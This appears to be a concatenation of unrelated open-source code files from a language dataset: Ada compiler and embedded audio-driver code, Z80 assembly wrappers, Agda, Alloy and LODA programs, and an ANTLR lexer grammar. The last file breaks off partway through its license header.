C_Host_File : String (1 .. Host_File'Length + 1);
Canonical_File_Addr : Address;
Canonical_File_Len : Integer;
begin
C_Host_File (1 .. Host_File'Length) := Host_File;
C_Host_File (C_Host_File'Last) := ASCII.NUL;
Canonical_File_Addr := To_Canonical_File_Spec (C_Host_File'Address);
Canonical_File_Len := C_String_Length (Canonical_File_Addr);
if Canonical_File_Len = 0 then
return null;
else
return To_Path_String_Access
(Canonical_File_Addr, Canonical_File_Len);
end if;
exception
when others =>
Fail ("erroneous file spec: ", Host_File);
return null;
end To_Canonical_File_Spec;
----------------------------
-- To_Canonical_Path_Spec --
----------------------------
function To_Canonical_Path_Spec
(Host_Path : String) return String_Access
is
function To_Canonical_Path_Spec (Host_Path : Address) return Address;
pragma Import
(C, To_Canonical_Path_Spec, "__gnat_to_canonical_path_spec");
C_Host_Path : String (1 .. Host_Path'Length + 1);
Canonical_Path_Addr : Address;
Canonical_Path_Len : Integer;
begin
C_Host_Path (1 .. Host_Path'Length) := Host_Path;
C_Host_Path (C_Host_Path'Last) := ASCII.NUL;
Canonical_Path_Addr := To_Canonical_Path_Spec (C_Host_Path'Address);
Canonical_Path_Len := C_String_Length (Canonical_Path_Addr);
-- Return a null string (vice a null) for zero length paths, for
-- compatibility with getenv().
return To_Path_String_Access (Canonical_Path_Addr, Canonical_Path_Len);
exception
when others =>
Fail ("erroneous path spec: ", Host_Path);
return null;
end To_Canonical_Path_Spec;
---------------------------
-- To_Host_Dir_Spec --
---------------------------
function To_Host_Dir_Spec
(Canonical_Dir : String;
Prefix_Style : Boolean) return String_Access
is
function To_Host_Dir_Spec
(Canonical_Dir : Address;
Prefix_Flag : Integer) return Address;
pragma Import (C, To_Host_Dir_Spec, "__gnat_to_host_dir_spec");
C_Canonical_Dir : String (1 .. Canonical_Dir'Length + 1);
Host_Dir_Addr : Address;
Host_Dir_Len : Integer;
begin
C_Canonical_Dir (1 .. Canonical_Dir'Length) := Canonical_Dir;
C_Canonical_Dir (C_Canonical_Dir'Last) := ASCII.NUL;
if Prefix_Style then
Host_Dir_Addr := To_Host_Dir_Spec (C_Canonical_Dir'Address, 1);
else
Host_Dir_Addr := To_Host_Dir_Spec (C_Canonical_Dir'Address, 0);
end if;
Host_Dir_Len := C_String_Length (Host_Dir_Addr);
if Host_Dir_Len = 0 then
return null;
else
return To_Path_String_Access (Host_Dir_Addr, Host_Dir_Len);
end if;
end To_Host_Dir_Spec;
----------------------------
-- To_Host_File_Spec --
----------------------------
function To_Host_File_Spec
(Canonical_File : String) return String_Access
is
function To_Host_File_Spec (Canonical_File : Address) return Address;
pragma Import (C, To_Host_File_Spec, "__gnat_to_host_file_spec");
C_Canonical_File : String (1 .. Canonical_File'Length + 1);
Host_File_Addr : Address;
Host_File_Len : Integer;
begin
C_Canonical_File (1 .. Canonical_File'Length) := Canonical_File;
C_Canonical_File (C_Canonical_File'Last) := ASCII.NUL;
Host_File_Addr := To_Host_File_Spec (C_Canonical_File'Address);
Host_File_Len := C_String_Length (Host_File_Addr);
if Host_File_Len = 0 then
return null;
else
return To_Path_String_Access
(Host_File_Addr, Host_File_Len);
end if;
end To_Host_File_Spec;
---------------------------
-- To_Path_String_Access --
---------------------------
function To_Path_String_Access
(Path_Addr : Address;
Path_Len : Integer) return String_Access
is
subtype Path_String is String (1 .. Path_Len);
type Path_String_Access is access Path_String;
function Address_To_Access is new
Unchecked_Conversion (Source => Address,
Target => Path_String_Access);
Path_Access : constant Path_String_Access :=
Address_To_Access (Path_Addr);
Return_Val : String_Access;
begin
Return_Val := new String (1 .. Path_Len);
for J in 1 .. Path_Len loop
Return_Val (J) := Path_Access (J);
end loop;
return Return_Val;
end To_Path_String_Access;
-----------------
-- Update_Path --
-----------------
function Update_Path (Path : String_Ptr) return String_Ptr is
function C_Update_Path (Path, Component : Address) return Address;
pragma Import (C, C_Update_Path, "update_path");
function Strlen (Str : Address) return Integer;
pragma Import (C, Strlen, "strlen");
procedure Strncpy (X : Address; Y : Address; Length : Integer);
pragma Import (C, Strncpy, "strncpy");
In_Length : constant Integer := Path'Length;
In_String : String (1 .. In_Length + 1);
Component_Name : aliased String := "GCC" & ASCII.NUL;
Result_Ptr : Address;
Result_Length : Integer;
Out_String : String_Ptr;
begin
In_String (1 .. In_Length) := Path.all;
In_String (In_Length + 1) := ASCII.NUL;
Result_Ptr := C_Update_Path (In_String'Address,
Component_Name'Address);
Result_Length := Strlen (Result_Ptr);
Out_String := new String (1 .. Result_Length);
Strncpy (Out_String.all'Address, Result_Ptr, Result_Length);
return Out_String;
end Update_Path;
----------------
-- Write_Info --
----------------
procedure Write_Info (Info : String) is
begin
Write_With_Check (Info'Address, Info'Length);
Write_With_Check (EOL'Address, 1);
end Write_Info;
------------------------
-- Write_Program_Name --
------------------------
procedure Write_Program_Name is
Save_Buffer : constant String (1 .. Name_Len) :=
Name_Buffer (1 .. Name_Len);
begin
Find_Program_Name;
-- Convert the name to lower case so error messages are the same on
-- all systems.
for J in 1 .. Name_Len loop
if Name_Buffer (J) in 'A' .. 'Z' then
Name_Buffer (J) :=
Character'Val (Character'Pos (Name_Buffer (J)) + 32);
end if;
end loop;
Write_Str (Name_Buffer (1 .. Name_Len));
-- Restore Name_Buffer which was clobbered by the call to
-- Find_Program_Name
Name_Len := Save_Buffer'Last;
Name_Buffer (1 .. Name_Len) := Save_Buffer;
end Write_Program_Name;
----------------------
-- Write_With_Check --
----------------------
procedure Write_With_Check (A : Address; N : Integer) is
Ignore : Boolean;
begin
if N = Write (Output_FD, A, N) then
return;
else
Write_Str ("error: disk full writing ");
Write_Name_Decoded (Output_File_Name);
Write_Eol;
Name_Len := Name_Len + 1;
Name_Buffer (Name_Len) := ASCII.NUL;
Delete_File (Name_Buffer'Address, Ignore);
Exit_Program (E_Fatal);
end if;
end Write_With_Check;
----------------------------
-- Package Initialization --
----------------------------
begin
Initialization : declare
function Get_Default_Identifier_Character_Set return Character;
pragma Import (C, Get_Default_Identifier_Character_Set,
"__gnat_get_default_identifier_character_set");
-- Function to determine the default identifier character set,
-- which is system dependent. See Opt package spec for a list of
-- the possible character codes and their interpretations.
function Get_Maximum_File_Name_Length return Int;
pragma Import (C, Get_Maximum_File_Name_Length,
"__gnat_get_maximum_file_name_length");
-- Function to get maximum file name length for system
begin
Identifier_Character_Set := Get_Default_Identifier_Character_Set;
Maximum_File_Name_Length := Get_Maximum_File_Name_Length;
-- Following should be removed by having above function return
-- Integer'Last as indication of no maximum instead of -1 ???
if Maximum_File_Name_Length = -1 then
Maximum_File_Name_Length := Int'Last;
end if;
Src_Search_Directories.Set_Last (Primary_Directory);
Src_Search_Directories.Table (Primary_Directory) := new String'("");
Lib_Search_Directories.Set_Last (Primary_Directory);
Lib_Search_Directories.Table (Primary_Directory) := new String'("");
Osint.Initialize;
end Initialization;
end Osint;
|
data/github.com/Fabien-Chouteau/Wee-Noise-Maker/1dc881c541583fe058c3ac240c11e1ce8b36746a/software/src/wnm-audio_dac.adb | ajnavarro/language-dataset | 9 | 10991 | <gh_stars>1-10
-------------------------------------------------------------------------------
-- --
-- Wee Noise Maker --
-- --
-- Copyright (C) 2016-2017 <NAME> --
-- --
-- Wee Noise Maker is free software: you can redistribute it and/or --
-- modify it under the terms of the GNU General Public License as --
-- published by the Free Software Foundation, either version 3 of the --
-- License, or (at your option) any later version. --
-- --
-- Wee Noise Maker is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU --
-- General Public License for more details. --
-- --
-- You should have received a copy of the GNU General Public License --
-- along with We Noise Maker. If not, see <http://www.gnu.org/licenses/>. --
-- --
-------------------------------------------------------------------------------
with STM32.Device; use STM32.Device;
with STM32.GPIO; use STM32.GPIO;
with HAL; use HAL;
with STM32.I2S; use STM32.I2S;
with STM32.Timers; use STM32.Timers;
with STM32.PWM; use STM32.PWM;
with SGTL5000; use SGTL5000;
with Ravenscar_Time; use Ravenscar_Time;
with HAL.Audio; use HAL.Audio;
with STM32.DMA; use STM32.DMA;
with Double_Buffers_Interrupts; use Double_Buffers_Interrupts;
with System; use System;
with Ada.Synchronous_Task_Control;
with Ada.Interrupts.Names;
with Quick_Synth;
with WNM.I2C;
package body WNM.Audio_DAC is
type Stereo_Buffer_Access is access all Quick_Synth.Stereo_Buffer;
Task_Start : Ada.Synchronous_Task_Control.Suspension_Object;
DAC_Dev : SGTL5000.SGTL5000_DAC (Port => WNM.I2C.Port,
Time => Ravenscar_Time.Delays);
-----------
-- Audio --
-----------
Audio_I2S_Points : constant GPIO_Points (1 .. 4) := (PA15, PB3, PB5, PC7);
Audio_I2S_Points_Ext : GPIO_Point renames PB4;
Audio_I2S_TX : I2S_Port renames I2S_3;
Audio_I2S_RX : I2S_Port renames I2S_3_Ext;
---------------
-- Audio DMA --
---------------
Audio_TX_DMA : STM32.DMA.DMA_Controller renames DMA_1;
Audio_TX_DMA_Chan : STM32.DMA.DMA_Channel_Selector renames STM32.DMA.Channel_0;
Audio_TX_DMA_Stream : STM32.DMA.DMA_Stream_Selector renames STM32.DMA.Stream_5;
Audio_TX_DMA_Int : DMA_Interrupt_Controller (Audio_TX_DMA'Access,
Audio_TX_DMA_Stream,
Ada.Interrupts.Names.DMA1_Stream5_Interrupt);
Audio_RX_DMA : STM32.DMA.DMA_Controller renames DMA_1;
Audio_RX_DMA_Chan : STM32.DMA.DMA_Channel_Selector renames STM32.DMA.Channel_2;
Audio_RX_DMA_Stream : STM32.DMA.DMA_Stream_Selector renames STM32.DMA.Stream_2;
Audio_RX_DMA_Int : DMA_Interrupt_Controller (Audio_RX_DMA'Access,
Audio_RX_DMA_Stream,
Ada.Interrupts.Names.DMA1_Stream2_Interrupt);
-- Buffers --
TX0 : constant Stereo_Buffer_Access := new Quick_Synth.Stereo_Buffer;
TX1 : constant Stereo_Buffer_Access := new Quick_Synth.Stereo_Buffer;
RX0 : constant Stereo_Buffer_Access := new Quick_Synth.Stereo_Buffer;
RX1 : constant Stereo_Buffer_Access := new Quick_Synth.Stereo_Buffer;
----------
-- MCLK --
----------
MCLK_Timer : STM32.Timers.Timer renames Timer_8;
MCLK_Timer_AF : constant STM32.GPIO_Alternate_Function := GPIO_AF_TIM8_3;
-- Note that this value MUST match the corresponding timer selected!
Output_Channel : constant Timer_Channel := Channel_2; -- arbitrary
MCLK_Requested_Frequency : constant Hertz := 12_000_000; -- arbitrary
MCLK_Control : PWM_Modulator;
MCLK_Point : GPIO_Point renames PC7;
procedure Initialize;
procedure Initialize_DMA;
procedure Initialize_I2S;
procedure Initialize_MCLK with Unreferenced;
--------------------
-- Initialize_I2S --
--------------------
procedure Initialize_I2S is
procedure Initialize_GPIO;
---------------------
-- Initialize_GPIO --
---------------------
procedure Initialize_GPIO is
begin
-- I2S --
Enable_Clock (Audio_I2S_Points);
Configure_IO (Audio_I2S_Points,
(Speed => Speed_High,
Mode => Mode_AF,
Output_Type => Push_Pull,
Resistors => Floating));
Configure_Alternate_Function (Audio_I2S_Points,
STM32.Device.GPIO_AF_SPI3_6);
Enable_Clock (Audio_I2S_Points_Ext);
Configure_IO (Audio_I2S_Points_Ext,
(Speed => Speed_High,
Mode => Mode_AF,
Output_Type => Push_Pull,
Resistors => Floating));
Configure_Alternate_Function (Audio_I2S_Points_Ext,
STM32.Device.GPIO_AF_I2S3ext_7);
end Initialize_GPIO;
Conf : I2S_Configuration;
begin
Initialize_GPIO;
-- | Sample Freq | PLL N | PLL R |
-- | 8000 | 256 | 5 |
-- | 16000 | 213 | 2 |
-- | 32000 | 213 | 2 |
-- | 48000 | 258 | 3 |
-- | 96000 | 344 | 2 |
-- | 22050 | 429 | 4 |
-- | 44100 | 271 | 2 |
Set_PLLI2S_Factors (Pll_N => 213,
Pll_R => 2);
Enable_PLLI2S;
-- I2S TX --
Enable_Clock (Audio_I2S_TX);
Conf.Mode := Master_Transmit;
Conf.Standard := I2S_Philips_Standard;
Conf.Clock_Polarity := Steady_State_Low;
Conf.Data_Length := Data_16bits;
Conf.Chan_Length := Channel_16bits;
Conf.Master_Clock_Out_Enabled := True;
Conf.Transmit_DMA_Enabled := True;
Conf.Receive_DMA_Enabled := False;
Audio_I2S_TX.Configure (Conf);
Audio_I2S_TX.Set_Frequency (Audio_Freq_32kHz);
-- I2S RX --
Enable_Clock (Audio_I2S_RX);
Conf.Mode := Slave_Receive;
Conf.Master_Clock_Out_Enabled := False;
Conf.Transmit_DMA_Enabled := False;
Conf.Receive_DMA_Enabled := True;
Audio_I2S_RX.Configure (Conf);
Audio_I2S_RX.Set_Frequency (Audio_Freq_32kHz);
Audio_I2S_TX.Enable;
Audio_I2S_RX.Enable;
end Initialize_I2S;
--------------------
-- Initialize_DMA --
--------------------
procedure Initialize_DMA is
Config : DMA_Stream_Configuration;
begin
-- TX DMA --
Enable_Clock (Audio_TX_DMA);
Config.Channel := Audio_TX_DMA_Chan;
Config.Direction := Memory_To_Peripheral;
Config.Increment_Peripheral_Address := False;
Config.Increment_Memory_Address := True;
Config.Peripheral_Data_Format := HalfWords;
Config.Memory_Data_Format := HalfWords;
Config.Operation_Mode := Circular_Mode;
Config.Priority := Priority_Very_High;
Config.FIFO_Enabled := False;
Config.FIFO_Threshold := FIFO_Threshold_Full_Configuration;
Config.Memory_Burst_Size := Memory_Burst_Single;
Config.Peripheral_Burst_Size := Peripheral_Burst_Single;
Configure (Audio_TX_DMA, Audio_TX_DMA_Stream, Config);
-- RX DMA --
Enable_Clock (Audio_RX_DMA);
Config.Channel := Audio_RX_DMA_Chan;
Config.Direction := Peripheral_To_Memory;
Configure (Audio_RX_DMA, Audio_RX_DMA_Stream, Config);
end Initialize_DMA;
---------------------
-- Initialize_MCLK --
---------------------
procedure Initialize_MCLK is
begin
-- The STM32F4 is capable of generating the MCLK for the SGTL5000 DAC.
-- However, we need the MCLK to be always enabled to be able to
-- communicate with the DAC even when we are not sending audio data so
-- we use a timer to generate the MCLK signal.
Configure_PWM_Timer (MCLK_Timer'Access, MCLK_Requested_Frequency);
MCLK_Control.Attach_PWM_Channel
(MCLK_Timer'Access,
Output_Channel,
MCLK_Point,
MCLK_Timer_AF);
MCLK_Control.Set_Duty_Cycle (50);
MCLK_Control.Enable_Output;
end Initialize_MCLK;
----------------
-- Initialize --
----------------
procedure Initialize is
begin
Initialize_DMA;
-- Initialize_MCLK;
Initialize_I2S;
Ada.Synchronous_Task_Control.Set_True (Task_Start);
delay until Clock + Milliseconds (500);
if not DAC_Dev.Valid_Id then
raise Program_Error with "Cannot get DAC chip ID";
end if;
DAC_Dev.Set_Analog_Power (Reftop_PowerUp => True);
DAC_Dev.Set_Linereg_Control (Charge_Pump_Src_Override => True,
Charge_Pump_Src => VDDIO,
Linereg_Out_Voltage => 16#C#);
DAC_Dev.Set_Reference_Control (VAG => 16#1F#,
Bias => 16#1#,
Slow_VAG_Ramp => False);
DAC_Dev.Set_Short_Detectors (Right_HP => 4,
Left_HP => 4,
Center_HP => 4,
Mode_LR => 1,
Mode_CM => 2);
DAC_Dev.Mute_Headphones (True);
DAC_Dev.Mute_DAC (True);
DAC_Dev.Mute_ADC (True);
DAC_Dev.Set_Analog_Power (VAG_PowerUp => True,
Reftop_PowerUp => True,
Headphone_PowerUp => True,
DAC_PowerUp => True,
Capless_Headphone_PowerUp => True,
ADC_PowerUp => True);
DAC_Dev.Set_Power_Control (ADC => On,
DAC => On,
DAP => Off,
I2S_Out => On,
I2S_In => On);
DAC_Dev.Time.Delay_Microseconds (400);
DAC_Dev.Set_Clock_Control (Rate => SYS_FS,
FS => SYS_FS_32kHz,
MCLK => MCLK_256FS);
DAC_Dev.Set_I2S_Control (SCLKFREQ => SCLKFREQ_32FS,
Invert_SCLK => False,
Master_Mode => False,
Data_Len => Data_16b,
I2S => I2S_Left_Justified,
LR_Align => False,
LR_Polarity => False);
-- DAC Routing
DAC_Dev.Select_DAC_Source (I2S_In);
DAC_Dev.Select_HP_Source (DAC, True);
-- ADC Routing
DAC_Dev.Select_ADC_Source (Line_In, True);
DAC_Dev.Select_I2S_Out_Source (ADC);
-- +0db
DAC_Dev.Set_DAC_Volume (16#3C#, 16#3C#);
-- +0db
DAC_Dev.Set_ADC_Volume (16#0#, 16#0#, Minus_6db => False);
DAC_Dev.Set_Headphones_Volume (16#70#, 16#70#);
-- Unmute
DAC_Dev.Mute_DAC (False);
DAC_Dev.Mute_ADC (False);
DAC_Dev.Mute_Headphones (False);
-- Mute
DAC_Dev.Mute_Line_Out (True);
end Initialize;
----------------
-- I2S_Stream --
----------------
task I2S_Stream is
pragma Priority (DAC_Task_Priority);
end I2S_Stream;
task body I2S_Stream is
Unused_TX : Stereo_Buffer_Access;
Unused_RX : Stereo_Buffer_Access;
begin
Ada.Synchronous_Task_Control.Suspend_Until_True (Task_Start);
Audio_TX_DMA_Int.Start_Mem_To_Periph (Audio_I2S_TX.Data_Register_Address,
TX0.all'Address,
TX1.all'Address,
Stereo_Buffer_Size_In_Bytes / 2);
Audio_RX_DMA_Int.Start_Periph_To_Mem (Audio_I2S_RX.Data_Register_Address,
RX0.all'Address,
RX1.all'Address,
Stereo_Buffer_Size_In_Bytes / 2);
loop
Audio_TX_DMA_Int.Wait_For_Interrupt;
if Audio_TX_DMA_Int.Not_In_Transfer = TX0.all'Address then
Unused_TX := TX0;
else
Unused_TX := TX1;
end if;
if Audio_RX_DMA_Int.Not_In_Transfer = RX0.all'Address then
Unused_RX := RX0;
else
Unused_RX := RX1;
end if;
Quick_Synth.Fill (Unused_RX.all, Unused_TX.all);
end loop;
end I2S_Stream;
----------------
-- Set_Volume --
----------------
procedure Set_Volume (Volume : DAC_Volume) is
HP_Vol : HP_Volume;
begin
HP_Vol := HP_Volume'Last - UInt7 (Volume);
DAC_Dev.Set_Headphones_Volume (HP_Vol, HP_Vol);
end Set_Volume;
----------------
-- Power_Down --
----------------
procedure Power_Down is
begin
DAC_Dev.Set_Analog_Power (VAG_PowerUp => False,
Reftop_PowerUp => False,
Headphone_PowerUp => False,
DAC_PowerUp => False,
Capless_Headphone_PowerUp => False,
ADC_PowerUp => False);
DAC_Dev.Set_Power_Control (ADC => Off,
DAC => Off,
DAP => Off,
I2S_Out => Off,
I2S_In => Off);
end Power_Down;
begin
Initialize;
end WNM.Audio_DAC;
|
Task/Collections/Ada/collections-5.ada | mullikine/RosettaCodeData | 1 | 27765 | with Ada.Containers.Vectors;
use Ada.Containers;
procedure Vector_Example is
package Vector_Pkg is new Vectors (Natural, Integer);
use Vector_Pkg;
V : Vector;
begin
V.Append (1);
V.Append (2);
V.Append (3);
end Vector_Example;
|
programs/oeis/326/A326128.asm | neoneye/loda | 22 | 172059 | ; A326128: a(n) = n - A007913(n), where A007913 gives the squarefree part of n.
; 0,0,0,3,0,0,0,6,8,0,0,9,0,0,0,15,0,16,0,15,0,0,0,18,24,0,24,21,0,0,0,30,0,0,0,35,0,0,0,30,0,0,0,33,40,0,0,45,48,48,0,39,0,48,0,42,0,0,0,45,0,0,56,63,0,0,0,51,0,0,0,70,0,0,72,57,0,0,0,75,80,0,0,63,0,0,0,66,0,80,0,69,0,0,0,90,0,96,88,99
mov $1,$0
seq $1,7913 ; Squarefree part of n: a(n) is the smallest positive number m such that n/m is a square.
sub $1,1
sub $0,$1
|
electrum/src/main/resources/models/book/chapter6/ringElection2.als | haslab/Electrum | 29 | 3210 | <gh_stars>10-100
module chapter6/ringElection2 --- the final version (as depicted in Fig 6.1)
open util/ordering[Time] as TO
open util/ordering[Process] as PO
sig Time {}
sig Process {
succ: Process,
toSend: Process -> Time,
elected: set Time
}
fact ring {
all p: Process | Process in p.^succ
}
pred init [t: Time] {
all p: Process | p.toSend.t = p
}
pred step [t, t1: Time, p: Process] {
let from = p.toSend, to = p.succ.toSend |
some id: from.t {
from.t1 = from.t - id
to.t1 = to.t + (id - p.succ.prevs)
}
}
fact defineElected {
no elected.first
all t: Time-first | elected.t = {p: Process | p in p.toSend.t - p.toSend.(t.prev)}
}
fact traces {
init [first]
all t: Time-last |
let t1 = t.next |
all p: Process |
step [t, t1, p] or step [t, t1, succ.p] or skip [t, t1, p]
}
pred skip [t, t1: Time, p: Process] {
p.toSend.t = p.toSend.t1
}
pred show { some elected }
run show for 3 Process, 4 Time
// This generates an instance similar to Fig 6.4
assert AtMostOneElected { lone elected.Time }
check AtMostOneElected for 3 Process, 7 Time
// This should not find any counterexample
pred progress {
all t: Time - TO/last |
let t1 = TO/next [t] |
some Process.toSend.t => some p: Process | not skip [t, t1, p]
}
assert AtLeastOneElected { progress => some elected.Time }
check AtLeastOneElected for 3 Process, 7 Time
// This should not find any counterexample
pred looplessPath { no disj t, t1: Time | toSend.t = toSend.t1 }
// This produces an instance
run looplessPath for 3 Process, 12 Time
// This does not produce an instance
run looplessPath for 3 Process, 13 Time
// Therefore, we can conclude that a scope of 12 for Time is
// sufficient to reach all states of the protocol for a three-node ring.
|
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sccz80/SMS_loadTileMap.asm | jpoikela/z88dk | 640 | 87128 | <gh_stars>100-1000
; void SMS_loadTileMap(unsigned char x, unsigned char y, void *src, unsigned int size)
SECTION code_clib
SECTION code_SMSlib
PUBLIC SMS_loadTileMap
EXTERN asm_SMSlib_loadTileMap
SMS_loadTileMap:
pop af
pop bc
pop de
pop hl
pop ix
push hl
push hl
push de
push bc
push af
ld a,ixl
ld h,a
jp asm_SMSlib_loadTileMap
|
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dcmp_s.asm | teknoplop/z88dk | 8 | 162918 | <reponame>teknoplop/z88dk
SECTION code_clib
SECTION code_fp_math48
PUBLIC am48_dcmp_s
EXTERN am48_dcmp
; compare double on stack to AC' (effective double - AC')
;
; enter : AC' = double y
; stack = double x, ret
;
; exit : AC' = double y
; AC = double x
;
; z flag set if x == y
; z flag reset and c flag set if x < y
; z flag reset and c flag reset if x > y
;
; uses : AF, BC, DE, HL
pop af
pop hl ; AC = x
pop de
pop bc
push af
jp am48_dcmp
|
test/Compiler/simple/NoRecordConstructor.agda | shlevy/agda | 1,989 | 11999 |
open import Common.Nat
open import Common.IO
open import Common.Unit
record Test : Set where
field
a b c : Nat
f : Test -> Nat
f r = a + b + c
where open Test r
open Test
g : Nat
g = (f (record {a = 100; b = 120; c = 140})) + a m + b m + c m
where m = record {c = 400; a = 200; b = 300}
main : IO Unit
main = printNat g
-- Expected Output: 1260
|
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/aligned_alloc_unlocked.asm | jpoikela/z88dk | 640 | 160492 |
; void *aligned_alloc_unlocked(size_t alignment, size_t size)
SECTION code_clib
SECTION code_alloc_malloc
PUBLIC aligned_alloc_unlocked
EXTERN asm_aligned_alloc_unlocked
aligned_alloc_unlocked:
pop af
pop hl
pop bc
push bc
push hl
push af
jp asm_aligned_alloc_unlocked
|
sources/driver/load_library.adb | reznikmm/jupyter | 4 | 24899 | <gh_stars>1-10
-- SPDX-FileCopyrightText: 2020 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
----------------------------------------------------------------
with Interfaces.C.Strings;
with System;
procedure Load_Library
(Name : League.Strings.Universal_String;
Error : out League.Strings.Universal_String)
is
use type System.Address;
RTLD_NOW : constant Interfaces.C.int := 2;
function dlopen
(file : Interfaces.C.char_array;
mode : Interfaces.C.int) return System.Address
with Import, Convention => C, External_Name => "dlopen";
function dlerror return Interfaces.C.Strings.chars_ptr
with Import, Convention => C, External_name => "dlerror";
Raw_Name : constant Interfaces.C.char_array :=
Interfaces.C.To_C (Name.To_UTF_8_String);
Handler : constant System.Address := dlopen (Raw_Name, RTLD_NOW);
Message : constant Interfaces.C.Strings.chars_ptr := dlerror;
begin
if Handler = System.Null_Address then
Error := League.Strings.From_UTF_8_String
(Interfaces.C.Strings.Value (Message));
end if;
end Load_Library;
|
memsim-master/src/benchmark_runner.adb | strenkml/EE368 | 0 | 1499 | <filename>memsim-master/src/benchmark_runner.adb
with Ada.Text_IO; use Ada.Text_IO;
package body Benchmark_Runner is
procedure Register_Benchmark(runner : in out Runner_Type;
benchmark : in Benchmark_Pointer) is
begin
runner.benchmarks.Append(benchmark);
end Register_Benchmark;
procedure Run(runner : in out Runner_Type;
mem : in Memory_Pointer) is
first : constant Natural := runner.benchmarks.First_Index;
last : constant Natural := runner.benchmarks.Last_Index;
bp : Benchmark_Pointer;
begin
for i in first .. last loop
bp := runner.benchmarks.Element(i);
Set_Memory(bp.all, mem);
end loop;
loop
for i in reverse first .. last loop
bp := runner.benchmarks.Element(i);
Reset(bp.all, i);
begin
Run(bp.all);
exception
when Prune_Error =>
null;
end;
Show_Stats(mem.all);
end loop;
exit when Done(mem.all);
end loop;
exception
when Invalid_Address =>
Put_Line("error: invalid address");
end Run;
procedure Finalize(runner : in out Runner_Type) is
first : constant Integer := runner.benchmarks.First_Index;
last : constant Integer := runner.benchmarks.Last_Index;
bp : Benchmark_Pointer;
begin
for i in first .. last loop
bp := runner.benchmarks.Element(i);
Destroy(bp);
end loop;
end Finalize;
end Benchmark_Runner;
|
src/messages/message_lexer.g4 | iamgreaser/lykos | 122 | 5913 | <filename>src/messages/message_lexer.g4
lexer grammar message_lexer;
options { language = Python3; }
TEXT : (
~[[\]{}] { self.append_text() }
| '{{' { self.append_text("{") }
| '}}' { self.append_text("}") }
| '[[' { self.append_text("[") }
| ']]' { self.append_text("]") }
)+ ;
OPEN_TAG : '[' -> pushMode(IN_TAG) ;
OPEN_SUB : '{' -> pushMode(IN_SUB) ;
mode IN_TAG;
TAG_NAME : [a-zA-Z]+ ;
TAG_SLASH : '/' ;
TAG_SEP : '=' -> mode(IN_TAG_PARAM) ;
CLOSE_TAG : ']' -> popMode ;
mode IN_TAG_PARAM;
TAG_PARAM : (
~[[\]{}] { self.append_text() }
| '{{' { self.append_text("{") }
| '}}' { self.append_text("}") }
)+ ;
TAG_OPEN_SUB : '{' -> pushMode(IN_SUB), type(OPEN_SUB) ;
TAG_PARAM_CLOSE : ']' -> popMode, type(CLOSE_TAG) ;
mode IN_SUB;
SUB_FIELD : (
~[!:{}] { self.append_text() }
)+ ;
SUB_CONVERT : '!' -> mode(IN_CONV) ;
SUB_SPEC : ':' -> mode(IN_SPEC) ;
SUB_OPEN_SUB : '{' -> pushMode(IN_SUB), type(OPEN_SUB) ;
CLOSE_SUB : '}' -> popMode ;
mode IN_CONV;
SUB_IDENTIFIER : [a-zA-Z]+ ;
CONV_SPEC : ':' -> mode(IN_SPEC), type(SUB_SPEC) ;
CLOSE_CONV : '}' -> popMode, type(CLOSE_SUB) ;
mode IN_SPEC;
SPEC_VALUE : (
~[:{}()] { self.append_text() }
)+ ;
SPEC_SEP : ':' -> type(SUB_SPEC) ;
SPEC_OPEN_SUB : '{' -> pushMode(IN_SUB), type(OPEN_SUB) ;
OPEN_ARGLIST : '(' -> pushMode(IN_ARGLIST) ;
CLOSE_SPEC : '}' -> popMode, type(CLOSE_SUB) ;
mode IN_ARGLIST;
ARGLIST_VALUE : (
~[{}()] { self.append_text() }
| '{{' { self.append_text("{") }
| '}}' { self.append_text("}") }
)+ ;
ARGLIST_OPEN_SUB : '{' -> pushMode(IN_SUB), type(OPEN_SUB) ;
CLOSE_ARGLIST : ')' -> popMode ;
|
Cubical/WithK.agda | thomas-lamiaux/cubical | 1 | 14705 | <reponame>thomas-lamiaux/cubical
{- Cubical Agda with K
This file demonstrates the incompatibility of the --cubical
and --with-K flags, relying on the well-known incosistency of K with
univalence.
The --safe flag can be used to prevent accidentally mixing such
incompatible flags.
-}
{-# OPTIONS --with-K #-}
module Cubical.WithK where
open import Cubical.Data.Equality
open import Cubical.Data.Bool
open import Cubical.Data.Empty
private
variable
ℓ : Level
A : Type ℓ
x y : A
uip : (prf : x ≡ x) → Path _ prf refl
uip refl i = refl
transport-uip : (prf : A ≡ A) → Path _ (transportPath (eqToPath prf) x) x
transport-uip {x = x} prf =
compPath (congPath (λ p → transportPath (eqToPath p) x) (uip prf)) (transportRefl x)
transport-not : Path _ (transportPath (eqToPath (pathToEq notEq)) true) false
transport-not = congPath (λ a → transportPath a true) (eqToPath-pathToEq notEq)
false-true : Path _ false true
false-true = compPath (symPath transport-not) (transport-uip (pathToEq notEq))
absurd : (X : Type) → X
absurd X = transportPath (congPath sel false-true) true
where
sel : Bool → Type
sel false = Bool
sel true = X
inconsistency : ⊥
inconsistency = absurd ⊥
|
test/fail/FixityOutOfScopeInRecord.agda | asr/agda-kanso | 1 | 6873 | module FixityOutOfScopeInRecord where
record R : Set where
infixl 30 _+_
|
src/usb-logging-device.adb | JeremyGrosser/usb_embedded | 14 | 23623 | ------------------------------------------------------------------------------
-- --
-- Copyright (C) 2021, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
